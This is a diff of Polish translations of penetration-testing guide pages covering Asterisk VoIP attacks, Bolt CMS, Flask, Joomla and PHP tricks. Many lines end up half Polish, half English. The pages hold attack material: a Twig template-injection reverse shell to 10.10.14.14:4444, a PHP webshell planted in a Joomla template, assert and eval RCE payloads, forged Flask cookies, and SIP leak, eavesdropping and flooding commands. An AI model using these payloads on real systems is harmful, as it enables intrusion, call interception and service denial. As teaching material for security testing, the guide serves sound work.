- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje lukę SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
```bash
sippts leak -i 10.10.0.10
@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call pozwala **użytkownikowi sieciowemu** (który na przykład może być zainteresowany produktem) **wprowadzić** swój **numer telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
Click2Call pozwala **użytkownikowi sieci** (który na przykład może być zainteresowany produktem) na **podanie** swojego **numeru telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
Typowy profil Asterisk dla tego to:
```scss
@ -487,20 +487,20 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
- Poprzedni profil pozwala na **połączenie z DOWOLNYM adresem IP** (jeśli hasło jest znane).
- Aby **zorganizować połączenie**, jak wcześniej określono, **nie są potrzebne uprawnienia do odczytu** i **tylko** **origin** w **zapisie** jest wymagane.
- Aby **zorganizować połączenie**, jak wcześniej określono, **nie są potrzebne uprawnienia do odczytu** i **tylko** **originate** w **zapisie** jest wymagane.
Dzięki tym uprawnieniom każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
**Więcej informacji lub działań może być wymaganych.**
**Więcej informacji lub działań może być wymagane.**
### **Podsłuchiwanie**
W Asterisku możliwe jest użycie polecenia **`ChanSpy`**, wskazując **numer(y) wewnętrzny(e) do monitorowania** (lub wszystkie), aby usłyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.
W Asterisku możliwe jest użycie polecenia **`ChanSpy`**, wskazując **numer(y) wewnętrzny(e) do monitorowania** (lub wszystkie), aby słyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy wchodzić w interakcję. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`**, lub wybierając numer wewnętrzny.
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w to ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`**, lub wybierając numer wewnętrzny.
Możliwe jest również użycie **`ExtenSpy`**, aby monitorować tylko jeden numer wewnętrzny.
@ -516,27 +516,27 @@ Możesz również sprawić, że Asterisk **wykona skrypt, który ujawni połącz
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### Wrażliwość RTCPBleed
### RTCPBleed vulnerability
**RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
**RTCPBleed** to poważny problem bezpieczeństwa wpływający na serwery VoIP oparte na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez **każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyjąc strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest automatycznie uczony**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę podatność RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proxy RTP, jak i w punktach końcowych.
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednokierunkowego w połączeniach.
Aby uzyskać więcej informacji, sprawdź [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa wrażliwość RTP Bleed, wysyłając strumienie RTP.
- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTP.
```bash
sippts rtpbleed -i 10.10.0.10
```
- **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
```bash
sippts rtcpbleed -i 10.10.0.10
```
- **`SIPPTS rtpbleedflood`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
@ -550,51 +550,51 @@ W Asterisku w jakiś sposób udaje ci się **dodać reguły rozszerzeń i je prz
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
Istnieje polecenie zwane **`Shell`**, które można użyć **zamiast `System`**, aby wykonać polecenia systemowe, jeśli zajdzie taka potrzeba.
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
> [!WARNING]
> Jeśli serwer **nie zezwala na użycie niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox) i użyj tego, aby **utworzyć skrypt backdoor**, a następnie użyj **`System`**, aby **wykonać** ten **skrypt**.
> If the server is **zabrania używania niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox), i użyj tego do **utworzenia skryptu backdoor**, a następnie użyj **`System`** do **wykonania** tego **skryptu**.
#### Interesujące lokalne pliki i uprawnienia
#### Interesting local files and permissions
- **`sip.conf`** -> Zawiera hasło użytkowników SIP.
- Jeśli **serwer Asterisk działa jako root**, możesz skompromitować root.
- **użytkownik root mysql** może **nie mieć hasła**.
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
- If the **serwer Asterisk działa jako root**, możesz skompromitować root
- **mysql root user** might **nie mieć hasła**.
- this could be used to create a new mysql user as backdoor
- **`FreePBX`**
- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX).
- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych.
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX)
- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych
- this could be used to create a new mysql user as backdoor
- **`Elastix`**
- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego.
- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego
- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne skompromitowane binaria podczas wykonywania.
### Wstrzykiwanie RTP
### RTP Injection
Możliwe jest wstawienie **`.wav`** do rozmów za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) do **skanowania rozmów** (**`rtpscan.pl`**), wysyłania `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawiania hałasu** do rozmowy (**`rtpflood.pl`**).
Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
### DoS
Istnieje kilka sposobów, aby spróbować osiągnąć DoS na serwerach VoIP.
There are several ways to try to achieve DoS in VoIP servers.
- **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target.
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping wykonuje ping SIP, aby sprawdzić czas odpowiedzi serwera.
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time.
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protokołu IAX używanego przez Asterisk.
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania floodingu wiadomości SIP/SDP INVITE przez UDP/IP.
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka poprawnie sformułowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff).
- [**SIPp**](https://github.com/SIPp/sipp): Umożliwia analizę i generowanie ruchu SIP, więc może być również używane do DoS.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używane do przeprowadzania ataków SIP.
- Fuzzery: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
- [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### Luki w systemie operacyjnym
### OS Vulnerabilities
Najłatwiejszym sposobem na zainstalowanie oprogramowania takiego jak Asterisk jest pobranie **dystrybucji OS**, która ma je już zainstalowane, takich jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemów mogą **nie aktualizować ich ponownie**, a **luki** będą odkrywane z czasem.
The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **nie aktualizować ich ponownie** i **vulnerabilities** będą odkrywane z czasem.
## Odnośniki
## References
- [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
- [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)

View File

@ -14,7 +14,7 @@ Po zalogowaniu się jako administrator (przejdź do /bot, aby uzyskać dostęp d
- Wybierz `File management` -> `View & edit templates`
- Wybierz bazowy motyw znaleziony w poprzednim kroku (`base-2021` w tym przypadku) i wybierz `index.twig`
- W moim przypadku znajduje się to w ścieżce URL /bolt/file-edit/themes?file=/base-2021/index.twig
- Ustaw swój ładunek w tym pliku za pomocą [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), na przykład: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- Ustaw swój ładunek w tym pliku za pomocą [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php), na przykład: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- I zapisz zmiany
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>

View File

@ -30,7 +30,7 @@ https://pypi.org/project/flask-unsign/
```bash
pip3 install flask-unsign
```
#### **Dekoduj ciasteczko**
#### **Dekodowanie ciasteczka**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Narzędzie wiersza poleceń do brutalnego łamania stron internetowych za pomocą ciasteczek stworzonych z flask-unsign.
Narzędzie wiersza poleceń do brutalnego łamania stron internetowych za pomocą ciasteczek stworzonych przy użyciu flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
```
### SQLi w ciasteczku sesyjnym Flask z SQLmap
[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/#eval) używa opcji sqlmap `eval`, aby **automatycznie podpisać ładunki sqlmap** dla Flask przy użyciu znanego sekretu.
[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) wykorzystuje opcję sqlmap `eval`, aby **automatycznie podpisywać ładunki sqlmap** dla Flask, używając znanego sekretu.
## Proxy Flask do SSRF

View File

@ -5,7 +5,7 @@
### Statystyki Joomla
Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwerów używanych w instalacjach Joomla. Te dane można pobrać za pośrednictwem ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Te dane można pobrać za pomocą ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -71,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
```bash
droopescan scan joomla --url http://joomla-site.local/
```
W sekcji [ **80,443 - Metodologia Pentestingu Web jest sekcja o skanerach CMS**](./#cms-scanners), które mogą skanować Joomla.
W sekcji [ **80,443 - Metodologia Pentestingu Web jest sekcja o skanerach CMS**](#cms-scanners), które mogą skanować Joomla.
### Ujawnienie informacji bez uwierzytelnienia API:
@ -92,11 +92,11 @@ admin:admin
```
## RCE
Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego wnętrzu**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego obrębie**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
1. **Kliknij** na **`Templates`** w lewym dolnym rogu pod `Configuration`, aby otworzyć menu szablonów.
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w kolumnie nagłówka `Template`. To przeniesie nas na stronę **`Templates: Customise`**.
3. Na koniec możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **PHP one-liner, aby uzyskać wykonanie kodu** w następujący sposób:
3. Na koniec możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **jednolinijkowy kod PHP, aby uzyskać wykonanie kodu** w następujący sposób:
1. **`system($_GET['cmd']);`**
4. **Zapisz i zamknij**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`

View File

@ -3,11 +3,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Typowe lokalizacje ciasteczek:
## Cookies common location:
To również dotyczy ciasteczek phpMyAdmin.
To jest również ważne dla ciasteczek phpMyAdmin.
Ciasteczka:
Cookies:
```
PHPSESSID
phpMyAdmin
@ -31,7 +31,7 @@ Tabele porównań PHP: [https://www.php.net/manual/en/types.comparisons.php](htt
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
- `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
- `"string" == 0 -> True` Ciąg, który nie zaczyna się od liczby, jest równy liczbie
- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
- `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
- `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
@ -42,7 +42,7 @@ Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-
### **in_array()**
**Typ Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
**Typ Juggling** wpływa również na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -69,11 +69,11 @@ Nawet jeśli `===` jest **używane**, mogą wystąpić błędy, które sprawiaj
```
### preg_match(/^.\*/)
**`preg_match()`** może być użyty do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
**`preg_match()`** może być używane do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
#### Ominięcie nowej linii
Jednakże, przy delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść tę kontrolę. Przykład:
Jednakże, podczas delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść to sprawdzenie. Przykład:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -109,12 +109,12 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
Cóż, w terminach regex nie wykonujemy faktycznie 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", co, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -153,14 +153,14 @@ Sprawdź:
## Więcej sztuczek
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że dana ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2).
- Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
- [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/)
### password_hash/password_verify
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -210,7 +210,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\
Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
### **RCE za pomocą Eval()**
```
@ -220,14 +220,14 @@ Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE za pomocą Assert()**
### **RCE poprzez Assert()**
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zwykle zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek**, a następnie **naprawić to z powrotem**. Możesz użyć **operacji logicznych** takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.
